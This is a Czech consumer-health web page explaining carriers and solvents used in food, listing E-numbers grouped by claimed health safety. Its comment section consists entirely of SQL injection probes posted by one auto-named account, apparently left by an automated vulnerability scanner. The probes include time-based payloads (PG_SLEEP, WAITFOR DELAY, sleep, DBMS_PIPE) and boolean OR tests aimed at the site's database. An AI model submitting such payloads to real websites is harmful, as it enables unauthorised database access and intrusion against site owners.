Nápověda


Nevíte si s něčím rady? Kontaktujte nás, rádi Vám pomůžeme.

 
 

Nosiče a rozpouštědla v potravinách

Hlasovat Hlasovat Hlasovat Hlasovat Hlasovat
1 51

Nosiče a rozpouštědla se využívají k usnadnění používání, aplikací a manipulací ostatních přídatných látek, doplňků a aromat. Použitím nosičů a rozpouštědel se nesmí u těchto látek změnit jejich původní funkce. 

Nosiče a rozpouštědla rozpouští, ředí, rozptylují a jinak fyzikálně upravují ostatní přídatné látky, potravní doplňky i aromata a nesmí přitom nijak měnit jejich původní funkce. Za nosiče a rozpouštědla se nepovažují látky, které jsou potravinami nebo surovinami a látky, které jsou kyselinami nebo kyseliny regulují a používají se v nezbytném množství.

Používají se poměrně často, protože usnadňují aplikování nebo používání přídatných látek a manipulaci s nimi. U dětské výživy je používání nosičů a rozpouštědel přísnými předpisy výrazně omezeno.

Nosiče a rozpouštědla jsou v několika skupinách přídatných látek a některé se používají i k jiným účelům - např. jako emulgátory nebo stabilizátory. Dělí se na

  • přírodní a přírodně identické
  • polosyntetické a syntetické

Nosiče a rozpouštědla z přírodních zdrojů, které jsou bezpečné a bez nežádoucích zdravotních účinků

  • E 290 - Oxid uhličitý

 Uměle získané nosiče a rozpouštědla z látek živočišného původu bez nepříznivých vedlejších účinků na zdraví

  • E 422 - Glycerol
  • E 432 - Polyoxyethylensorbitanmonolaurát
  • E 1517 - Glyceryl-diacetát
  • E 1518 - Glyceryl-triacetát

Pro lidské zdraví zcela bezpečné nosiče a rozpouštědla získané syntetickou cestou z látek přírodního původu

  • E 170 - Uhličitany vápenaté
  • E 460 - Celulózy
  • E 551 - Oxid křemičitý

Nosiče a rozpouštědla získané syntetickou cestou z látek přírodního původu a přírodně identické látky, u kterých nejsou prokázané negativní účinky na zdraví

  • E 514 - Sírany sodné
  • E 516 - Síran vápenatý
  • E 517 - Síran amonný
  • E 521 - Síran sodnohlinitý
  • E 522 - Síran draselnohlinitý
  • E 553a - Křemičitan hořečnatý
  • E 554 - Hlinitokřemičitan sodný
  • E 555 - Hlinitokřemičitan draselný
  • E 556 - Hlinitokřemičitan vápenatý
  • E 559 - Křemičitan hlinitý
  • E 905c - Ropný vosk
  • E 912 - Estery montanových kyselin
  • E 953 - Isomalt
  • E 1521 - Polyethylenglykol (PEG 6000)

Nosiče a rozpouštědla s možnými negativními účinky na zdraví člověka 

  • E 459 - Beta - cyklodextrin
  • E 558 - Křemičitan hlinitohořečnatý
  • E 905b - Ropná vazelína
  • E1503 - Ricinový olej

Zdraví člověka negativně ovlivňující nosiče a rozpouštědla, které mohou způsobit i alergické reakce. Nejsou vhodné pro děti.

  • E 414 - Arabská guma
  • E 1520 - Propylenglykol

Pro lidský organismus nebezpečné nosiče a rozpouštědla

  • E 905a - Minerální olej
  • E 1201 - Polyvinylpyrrolidon (PVP, Povidon)
  • E 1202 - Polyvinylpolypyrrolidon (Síťovaný povidon, PVPP)

Zakázané nosiče a rozpouštědla

  • E 387 - Oxystearin
  • E 409 - Arabinnogalaktan
  • E 446 - Sukcistearin
  • E 550 - Křemičitan sodný
  • E 908 - Vosk z rýžových otrub

V ČR a EU zakázané nosiče a rozpouštědla můžou obsahovat potraviny vyrobené mimo země Evropské unie a následně do ČR a EU dovezené.

V potravinářském průmyslu se nosičů a rozpouštědel používá poměrně značné množství. U většiny z nich nebyly prokázány žádné významné negativní účinky na lidské zdraví a jsou používány podle přísných předpisů, které stanovují jejich maximální množství. Při běžné konzumaci potravin by se tedy žádné vedlejší účinky projevit neměly. Vzhledem k tomu, že přídatných látek je možné v jedné potravině použít i několik je ale vždy dobré si přečíst složení výrobku. Pokud se v něm vyskytují tzv. ečka ve větším počtu, případně jsou zde látky pro lidský organismus nevhodné nebo škodlivé, pak je nejlepší konzumaci takové potraviny významně omezit nebo úplně vynechat.

 

 

Komentáře

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

1%2527%2522

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

JYxwa2va')) OR 968=(SELECT 968 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

flyNhQVf') OR 67=(SELECT 67 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

46jPuK0D' OR 209=(SELECT 209 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1)) OR 758=(SELECT 758 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-5) OR 596=(SELECT 596 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-5 OR 120=(SELECT 120 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

b8BpqqHY'; waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

1 waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1); waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1; waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

if(now()=sysdate(),sleep(15),0)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 3*2>(0+5+585-585) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 3*2<(0+5+585-585) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 3+585-585-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 2+585-585-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2>(0+5+167-167) or 'uaWnN5jm'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2<(0+5+167-167) or 'uaWnN5jm'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3+167-167-1=0+0+0+1 or 'uaWnN5jm'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 2+167-167-1=0+0+0+1 or 'uaWnN5jm'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2>(0+5+418-418) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2<(0+5+418-418) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3+418-418-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 2+418-418-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2>(0+5+885-885)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2<(0+5+885-885)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3+885-885-1=0+0+0+1

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 2+885-885-1=0+0+0+1

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2>(0+5+539-539) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2<(0+5+539-539) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3+539-539-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 2+539-539-1=0+0+0+1 --

Zdravotní kalkulačka

:
: